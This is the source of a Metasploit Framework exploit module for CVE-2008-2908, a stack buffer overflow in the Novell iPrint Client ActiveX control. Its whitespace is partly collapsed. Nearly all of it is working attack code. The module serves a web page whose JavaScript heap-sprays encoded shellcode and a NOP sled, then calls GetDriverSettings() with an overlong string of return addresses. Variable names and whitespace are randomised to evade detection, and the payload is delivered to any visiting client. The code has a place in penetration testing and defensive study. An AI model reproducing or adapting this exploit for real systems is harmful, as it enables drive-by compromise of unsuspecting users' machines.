### $Id: novelliprint_getdriversettings.rb$###### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require'msf/core'classMetasploit3<Msf::Exploit::RemoteRank=NormalRanking
include Msf::Exploit::Remote::HttpServer::HTMLdefinitialize(info ={})super(update_info(info,'Name'=>'Novell iPrint Client ActiveX Control Buffer Overflow','Description'=>%q{
This module exploits a stack buffer overflow in Novell iPrint Client 4.34. When
sending an overly long string to the GetDriverSettings() property of ienipp.ocx
an attacker may be able to execute arbitrary code.
},'License'=>MSF_LICENSE,'Author'=>['MC'],'Version'=>'$Revision: 10394 $','References'=>[['CVE','2008-2908'],['OSVDB','46194'],['URL','http://secunia.com/advisories/30709/'],],'DefaultOptions'=>{'EXITFUNC'=>'process',},'Payload'=>{'Space'=>1024,'BadChars'=>"\x00",},'Platform'=>'win','Targets'=>[['Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7',{'Ret'=>0x0A0A0A0A}]],'DisclosureDate'=>'Jun 16 2008','DefaultTarget'=>0))enddef autofilter
falseenddef check_dependencies
use_zlib
enddefon_request_uri(cli, request)# Re-generate the payload.returnif((p =regenerate_payload(cli))==nil)# Encode the shellcode.
shellcode =Rex::Text.to_unescape(payload.encoded,Rex::Arch.endian(target.arch))# Create some nops.
nops =Rex::Text.to_unescape(make_nops(4))# Set the return.
ret =Rex::Text.uri_encode([target.ret].pack('L'))# Randomize the javascript variable names.
vname =rand_text_alpha(rand(100)+1)
var_i =rand_text_alpha(rand(30)+2)
rand1 =rand_text_alpha(rand(100)+1)
rand2 =rand_text_alpha(rand(100)+1)
rand3 =rand_text_alpha(rand(100)+1)
rand4 =rand_text_alpha(rand(100)+1)
rand5 =rand_text_alpha(rand(100)+1)
rand6 =rand_text_alpha(rand(100)+1)
rand7 =rand_text_alpha(rand(100)+1)
rand8 =rand_text_alpha(rand(100)+1)
content =%Q|<html>
<object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 700; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 99024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname});
</script>
</html>
|
content =Rex::Text.randomize_space(content)print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")# Transmit the response to the clientsend_response_html(cli, content)# Handle the payloadhandler(cli)endend
